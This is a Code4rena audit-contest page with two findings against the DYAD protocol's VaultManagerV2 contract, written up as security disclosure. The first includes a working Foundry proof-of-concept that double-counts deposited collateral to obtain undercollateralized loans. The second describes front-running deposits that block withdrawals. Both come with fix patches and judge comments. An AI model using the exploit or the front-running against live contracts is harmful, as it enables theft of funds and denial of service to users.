Platform: Code4rena
Start Date: 18/04/2024
Pot Size: $36,500 USDC
Total HM: 19
Participants: 183
Period: 7 days
Judge: Koolex
Id: 367
League: ETH
Rank: 151/183
Findings: 2
Award: $0.30
🌟 Selected for report: 0
🚀 Solo Findings: 0
🌟 Selected for report: Maroutis
Also found by: 0x486776, 0xShitgem, 0xabhay, 0xleadwizard, 0xlemon, 0xnilay, 0xtankr, 3docSec, AM, Aamir, Abdessamed, Al-Qa-qa, AlexCzm, Circolors, CodeWasp, Daniel526, Egis_Security, Emmanuel, Giorgio, Honour, Hueber, Infect3d, Krace, KupiaSec, LeoGold, Limbooo, PoeAudits, SBSecurity, SpicyMeatball, T1MOH, The-Seraphs, TheSavageTeddy, TheSchnilch, Topmark, VAD37, ZanyBonzy, adam-idarrha, bhilare_, btk, carlitox477, cinderblock, dimulski, falconhoof, grearlake, gumgumzum, iamandreiski, itsabinashb, josephdara, ke1caM, kennedy1030, ljj, n0kto, n4nika, neocrao, oakcobalt, petro_1912, pontifex, poslednaya, shaflow2, shikhar229169, web3km, ych18, zhaojohnson, zigtur
0.2831 USDC - $0.28
https://github.com/code-423n4/2024-04-dyad/blob/main/src/core/VaultManagerV2.sol#L241-L286 https://github.com/code-423n4/2024-04-dyad/blob/main/script/deploy/Deploy.V2.s.sol#L64-L65 https://github.com/code-423n4/2024-04-dyad/blob/main/script/deploy/Deploy.V2.s.sol#L93-L94
Users can create undercollateralized loans because the USD value of a single deposit is accounted twice.
These loans will not be liquidated as they are considered healthy.
Scope:
When a single vault is licensed in both Licenser
and KerosineManager
, the USD value of a single deposit in this vault is accounted twice during the collateral ratio calculation.
getTotalUsdValue
adds the getNonKeroseneValue
and the getKeroseneValue
.
When a vault is both kerosene and non-kerosene, the value in this vault is accounted twice:
function getTotalUsdValue( uint id ) public view returns (uint) { return getNonKeroseneValue(id) + getKeroseneValue(id); } function getNonKeroseneValue( uint id ) public view returns (uint) { uint totalUsdValue; uint numberOfVaults = vaults[id].length(); for (uint i = 0; i < numberOfVaults; i++) { Vault vault = Vault(vaults[id].at(i)); uint usdValue; if (vaultLicenser.isLicensed(address(vault))) { usdValue = vault.getUsdValue(id);// @POC: adds the USD value once here } totalUsdValue += usdValue; } return totalUsdValue; } function getKeroseneValue( uint id ) public view returns (uint) { uint totalUsdValue; uint numberOfVaults = vaultsKerosene[id].length(); for (uint i = 0; i < numberOfVaults; i++) { Vault vault = Vault(vaultsKerosene[id].at(i)); uint usdValue; if (keroseneManager.isLicensed(address(vault))) { usdValue = vault.getUsdValue(id);// @POC: adds the USD value one more time here } totalUsdValue += usdValue; } return totalUsdValue; }
The Deploy.V2.s.sol
script shows that the ethVault
and the wstEth
vaults are configured as kerosene vaults and as non-kerosene vaults, the deployment is vulnerable.
This Proof of Concept shows that a single deposit can be accounted twice during the USD value calculation. This USD value is used in the collateral calculation, so an attacker can make undercollaterized loans that can not be liquidated.
Import the following file in test/Exploit.t.sol
and run forge test --mt test_exploitDoubleUsdValueOfDeposit --fork-url $ETH_MAINNET_RPC -vvv
:
// SPDX-License-Identifier: MIT pragma solidity =0.8.17; import "forge-std/Test.sol"; import "forge-std/console.sol"; import "forge-std/StdCheats.sol"; import {DeployV2, Contracts} from "../script/deploy/Deploy.V2.s.sol"; import {Parameters} from "../src/params/Parameters.sol"; import {DNft} from "../src/core/DNft.sol"; import {Dyad} from "../src/core/Dyad.sol"; import {Licenser} from "../src/core/Licenser.sol"; import {VaultManagerV2} from "../src/core/VaultManagerV2.sol"; import {KerosineManager} from "../src/core/KerosineManager.sol"; import {Vault} from "../src/core/Vault.sol"; import {VaultWstEth} from "../src/core/Vault.wsteth.sol"; import {ERC20} from "@solmate/src/tokens/ERC20.sol"; contract ExploitTest is Test, Parameters { DNft dNft = DNft(MAINNET_DNFT); Licenser vaultLicenser; Dyad dyad = Dyad(MAINNET_DYAD); VaultManagerV2 vaultManager; KerosineManager kerosineManager; // weth Vault wethVault; ERC20 weth = ERC20(MAINNET_WETH); VaultWstEth wstethVault; ERC20 wstETH = ERC20(MAINNET_WSTETH); function setUp() public { Contracts memory contracts = new DeployV2().run(); kerosineManager = contracts.kerosineManager; vaultLicenser = contracts.vaultLicenser; vaultManager = contracts.vaultManager; wethVault = contracts.ethVault; wstethVault = contracts.wstEth; } receive() external payable {} function onERC721Received( address, address, uint256, bytes calldata ) external pure returns (bytes4) { return 0x150b7a02; } // Proof of Concept // Deposited value is accounted twice function test_exploitDoubleUsdValueOfDeposit() public { uint id = mintDNft(); uint DEPOSIT = 1e22; deposit(weth, id, address(wethVault), DEPOSIT); uint legitUsdValue = vaultManager.getTotalUsdValue(id); console.log("Value = ",legitUsdValue); vaultManager.addKerosene(id, address(wethVault)); uint doubleUsdValue = vaultManager.getTotalUsdValue(id); console.log("Value = ",doubleUsdValue); assertEq(doubleUsdValue, 2 * legitUsdValue, "Exploit didn't work"); } // HELPERS function mintDNft() public returns (uint) { return dNft.mintNft{value: 1 ether}(address(this)); } function deposit( ERC20 token, uint id, address vault, uint amount ) public { vaultManager.add(id, vault); StdCheats.deal(address(token), address(this), amount); token.approve(address(vaultManager), amount); vaultManager.deposit(id, address(vault), amount); } }
Manual review, Foundry
Ensure that Kerosene vaults can't be Non-Kerosene vaults and vice-versa. This will avoid accounting twice the USD value of deposits in these vaults.
The following patch shows such a fix (it requires further modifications in Deploy.V2.s.sol
):
diff --git a/src/core/VaultManagerV2.sol b/src/core/VaultManagerV2.sol index fc574a8..ba7de16 100644 --- a/src/core/VaultManagerV2.sol +++ b/src/core/VaultManagerV2.sol @@ -71,6 +71,7 @@ contract VaultManagerV2 is IVaultManager, Initializable { external isDNftOwner(id) { + if (vaultsKerosene[id].contains(vault)) revert VaultAlreadyAdded(); if (vaults[id].length() >= MAX_VAULTS) revert TooManyVaults(); if (!vaultLicenser.isLicensed(vault)) revert VaultNotLicensed(); if (!vaults[id].add(vault)) revert VaultAlreadyAdded(); @@ -84,6 +85,7 @@ contract VaultManagerV2 is IVaultManager, Initializable { external isDNftOwner(id) { + if (vaults[id].contains(vault)) revert VaultAlreadyAdded(); if (vaultsKerosene[id].length() >= MAX_VAULTS_KEROSENE) revert TooManyVaults(); if (!keroseneManager.isLicensed(vault)) revert VaultNotLicensed(); if (!vaultsKerosene[id].add(vault)) revert VaultAlreadyAdded();
Note: the patch can be applied with git apply
.
Math
#0 - c4-pre-sort
2024-04-28T06:48:10Z
JustDravee marked the issue as duplicate of #105
#1 - c4-pre-sort
2024-04-28T07:03:02Z
JustDravee marked the issue as not a duplicate
#2 - c4-pre-sort
2024-04-28T07:03:26Z
JustDravee marked the issue as duplicate of #966
#3 - c4-pre-sort
2024-04-29T08:37:29Z
JustDravee marked the issue as sufficient quality report
#4 - c4-judge
2024-05-04T09:46:30Z
koolexcrypto marked the issue as unsatisfactory: Invalid
#5 - c4-judge
2024-05-28T15:18:04Z
koolexcrypto marked the issue as not a duplicate
#6 - c4-judge
2024-05-28T15:18:20Z
koolexcrypto removed the grade
#7 - c4-judge
2024-05-28T15:18:24Z
koolexcrypto marked the issue as satisfactory
#8 - c4-judge
2024-05-28T15:18:52Z
koolexcrypto marked the issue as duplicate of #1133
🌟 Selected for report: MrPotatoMagic
Also found by: 0x175, 0x486776, 0x77, 0xAkira, 0xAsen, 0xDemon, 0xabhay, 0xblack_bird, 0xlemon, 0xloscar01, 0xtankr, 3docSec, 4rdiii, Abdessamed, AlexCzm, Angry_Mustache_Man, BiasedMerc, Circolors, Cryptor, DMoore, DPS, DedOhWale, Dinesh11G, Dots, GalloDaSballo, Giorgio, Honour, Imp, Jorgect, Krace, KupiaSec, Mrxstrange, NentoR, Pechenite, PoeAudits, Ryonen, SBSecurity, Sabit, T1MOH, TheFabled, TheSavageTeddy, Tychai0s, VAD37, Vasquez, WildSniper, ZanyBonzy, adam-idarrha, alix40, asui, blutorque, btk, c0pp3rscr3w3r, caglankaan, carrotsmuggler, d_tony7470, dimulski, dinkras, djxploit, falconhoof, forgebyola, grearlake, imare, itsabinashb, josephdara, kartik_giri_47538, ke1caM, kennedy1030, koo, lionking927, ljj, niser93, pep7siup, poslednaya, ptsanev, sashik_eth, shaflow2, steadyman, turvy_fuzz, ubl4nk, valentin_s2304, web3km, xyz, y4y, zhaojohnson, zigtur
0.0234 USDC - $0.02
https://github.com/code-423n4/2024-04-dyad/blob/main/src/core/VaultManagerV2.sol#L134-L143 https://github.com/code-423n4/2024-04-dyad/blob/main/src/core/VaultManagerV2.sol#L119-L127
An attacker can DoS a legit withdrawal by front-running it with a small deposit.
Scope:
A withdrawal and a deposit to the same NFT ID can't be done in a single block.
A legit user calls VaultManagerV2.withdraw
. The function checks that no deposit has been done in the current block.
/// @inheritdoc IVaultManager function withdraw( uint id, address vault, uint amount, address to ) public isDNftOwner(id) { if (idToBlockOfLastDeposit[id] == block.number) revert DepositedInSameBlock(); // ... }
Because there is no access control on deposit (the isDnftOwner
modifier is not used),
an attacker can leverage the block number check by frontrunning the transaction with a call to VaultManagerV2.deposit
:
/// @inheritdoc IVaultManager function deposit( uint id, address vault, uint amount ) external isValidDNft(id) { idToBlockOfLastDeposit[id] = block.number; //... }
Then, the legit withdraw transaction will revert and the user will not be able to withdraw his funds.
Manual review
Two ways to fix the issue can be used:
The following patch implements Fix 1:
diff --git a/src/core/VaultManagerV2.sol b/src/core/VaultManagerV2.sol index fc574a8..b8862fc 100644 --- a/src/core/VaultManagerV2.sol +++ b/src/core/VaultManagerV2.sol @@ -34,8 +34,6 @@ contract VaultManagerV2 is IVaultManager, Initializable { mapping (uint => EnumerableSet.AddressSet) internal vaults; mapping (uint => EnumerableSet.AddressSet) internal vaultsKerosene; - mapping (uint => uint) public idToBlockOfLastDeposit; - modifier isDNftOwner(uint id) { if (dNft.ownerOf(id) != msg.sender) revert NotOwner(); _; } @@ -124,7 +122,6 @@ contract VaultManagerV2 is IVaultManager, Initializable { external isValidDNft(id) { - idToBlockOfLastDeposit[id] = block.number; Vault _vault = Vault(vault); _vault.asset().safeTransferFrom(msg.sender, address(vault), amount); _vault.deposit(id, amount); @@ -140,7 +137,6 @@ contract VaultManagerV2 is IVaultManager, Initializable { public isDNftOwner(id) { - if (idToBlockOfLastDeposit[id] == block.number) revert DepositedInSameBlock(); uint dyadMinted = dyad.mintedDyad(address(this), id); Vault _vault = Vault(vault); uint value = amount * _vault.assetPrice()
The following patch implements Fix 2:
diff --git a/src/core/VaultManagerV2.sol b/src/core/VaultManagerV2.sol index fc574a8..04f8c36 100644 --- a/src/core/VaultManagerV2.sol +++ b/src/core/VaultManagerV2.sol @@ -122,7 +122,7 @@ contract VaultManagerV2 is IVaultManager, Initializable { uint amount ) external - isValidDNft(id) + isDNftOwner(id) { idToBlockOfLastDeposit[id] = block.number; Vault _vault = Vault(vault);
Note: A patch can be applied through git apply
.
DoS
#0 - c4-pre-sort
2024-04-27T11:54:35Z
JustDravee marked the issue as duplicate of #489
#1 - c4-pre-sort
2024-04-29T09:31:28Z
JustDravee marked the issue as sufficient quality report
#2 - c4-judge
2024-05-05T20:39:25Z
koolexcrypto marked the issue as unsatisfactory: Invalid
#3 - c4-judge
2024-05-05T20:39:59Z
koolexcrypto marked the issue as unsatisfactory: Invalid
#4 - c4-judge
2024-05-05T21:45:16Z
koolexcrypto marked the issue as nullified
#5 - c4-judge
2024-05-05T21:45:22Z
koolexcrypto marked the issue as not nullified
#6 - c4-judge
2024-05-08T15:26:50Z
koolexcrypto marked the issue as duplicate of #1001
#7 - c4-judge
2024-05-11T19:49:36Z
koolexcrypto marked the issue as satisfactory
#8 - c4-judge
2024-05-13T18:34:30Z
koolexcrypto changed the severity to 3 (High Risk)